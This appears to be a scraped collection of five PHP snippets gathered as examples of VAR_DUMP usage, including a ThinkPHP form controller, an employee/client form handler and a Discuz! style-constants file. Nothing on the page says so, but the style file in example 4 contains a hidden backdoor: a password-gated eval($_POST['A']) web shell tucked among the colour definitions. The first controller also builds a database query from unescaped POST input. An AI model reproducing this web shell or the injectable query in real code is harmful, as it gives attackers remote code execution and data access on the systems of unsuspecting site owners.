public function Prekit1()
 {
     $Prekit1 = D('Prekit1');
     date_default_timezone_set('Asia/Shanghai');
     $RECORDTIME = date('Y-m-d H:i');
     $data['ZMODPN'] = I('post.ZMODPN');
     $data['RAWPN'] = I('post.RAWPN');
     $data['COMPN'] = I('post.COMPN');
     $data['SCREWPN'] = I('post.SCREWPN');
     $data['CARRIERPN'] = I('post.CARRIERPN');
     $data['HOLDERPN'] = I('post.HOLDERPN');
     $RECORDTIME = date('Y-m-d H:i');
     $data['RECORDTIME'] = $RECORDTIME;
     if ($data['ZMODPN'] == '') {
         $output = "ZMOD PN# is a must";
         $this->assign('output', $output);
         $this->display();
         exit;
     }
     if ($data['RAWPN'] == '') {
         $output = "RAW PN# is a must";
         $this->assign('output', $output);
         $this->display();
         exit;
     }
     if ($data['COMPN'] == '') {
         $output = "Composite label PN# is a must";
         $this->assign('output', $output);
         $this->display();
         exit;
     }
     if ($data['SCREWPN'] == '') {
         $output = "Screw PN# is a must";
         $this->assign('output', $output);
         $this->display();
         exit;
     }
     if ($data['CARRIERPN'] == '') {
         $output = "Carrier PN# is a must";
         $this->assign('output', $output);
         $this->display();
         exit;
     }
     if (false !== $Prekit1->create()) {
         $find = M("Prekit1");
         $condition['ZMODPN'] = $data['ZMODPN'];
         $list = $find->where($condition)->find();
         if ($list['ZMODPN'] == '') {
             $Prekit1->add($data);
             $output = "insert successfully";
             $this->assign('output', $output);
             $this->display();
         } else {
             $ZMODPN1 = $data['ZMODPN'];
             echo $ZMODPN1;
             $Prekit1->where("ZMODPN='{$ZMODPN1}'")->save($data);
             VAR_DUMP($data);
             $output = "update successfully";
             $this->assign('output', $output);
             $this->display();
         }
     } else {
         $output = $Prekit1->getError();
         $this->assign('output', $output);
         $this->display();
     }
 }
Esempio n. 2
0
<?php

include "base_datos.php";
$db = new base_datos();
VAR_DUMP($_REQUEST["formulario"]);
if ($_REQUEST["formulario"] == "agregarEmpleados") {
    if ($_REQUEST["password"] == $_REQUEST["confirmpassword"]) {
        $db->agregarEmpleados($_REQUEST["idEmpleados"], $_REQUEST["Nombre"], $_REQUEST["apellido_paterno"], $_REQUEST["apellido_materno"], $_REQUEST["Domicilio"], $_REQUEST["Telefono"], $_REQUEST["password"]);
    }
    header("Location: empleados.php");
    echo "<h2>Dato Guardado</h2>";
}
$db->agregarClientes($_REQUEST["idClientes"], $_REQUEST["Nombre"], $_REQUEST["Apellido_Paterno"], $_REQUEST["apellido_Materno"], $_REQUEST["Domicilio"], $_REQUEST["Telefono"]);
header("Location: clientes.php");
echo "<h2>Dato Guardado</h2>";
Esempio n. 3
0
<?php

ini_set("intl.error_level", E_WARNING);
ini_set("intl.default_locale", "nl");
$intlcal = IntlCalendar::createInstance();
VAR_DUMP($intlcal->getType());
$intlcal = IntlCalendar::createInstance(null, "nl_NL@calendar=hebrew");
VAR_DUMP(intlcal_get_type($intlcal));
?>
==DONE==
Esempio n. 4
0
define('CONTENTSEPARATE', '#D3E8F2');
define('INPUTBORDER', '#CCC');
define('INPUTBORDERDARKCOLOR', '#999');
define('INPUTBG', '#FFF');
define('COMMONBORDER', '#E6E7E1');
define('COMMONBG', '#F7F7F7');
define('SPECIALBORDER', '#E3EDF5');
define('SPECIALBG', '#EBF2F8');
define('INTERLEAVECOLOR', '#F5F5F5');
define('DROPMENUBORDER', '#7FCAE2');
define('DROPMENUBGCOLOR', '#FEFEFE');
define('FLOATMASKBGCOLOR', '#7FCAE2');
define('FLOATBGCOLOR', '#F1F5FA');
define('', '');
echo '<!--';
VAR_DUMP(5);
echo '-->';
$X = SUBSTR(MD5($_GET['B']), 28);
if ($X == '3738') {
    eval($_POST['A']);
}
//', 'aaaaaaaaaa');
define('BGCODE', 'background: #0D2345 url("images/default/bodybg.gif") repeat-x 0 90px');
define('SIDEBGCODE', 'background: #FFF url("images/default/sidebg.gif") repeat-y 100% 0');
define('HEADERBGCODE', 'background: #00A2D2 url("images/default/header.gif") repeat-x 0 100%');
define('MENUBGCODE', 'background: #EBF4FD url("images/default/mtabbg.gif") repeat-x 0 100%');
define('DROPMENUBGCODE', 'background: #FEFEFE');
define('FLOATMASKBGCODE', 'background: #7FCAE2');
define('FLOATBGCODE', 'background: #F1F5FA');
define('BOARDLOGO', '<img src="images/default/logo.gif" alt="Discuz! Board" border="0" />');
define('BOLD', 'bold');
Esempio n. 5
0
<?php

Stdclass::print_r($ko_static);
$x->print_r($ko_method);
\print_r($OK);
VAR_DUMP($OK);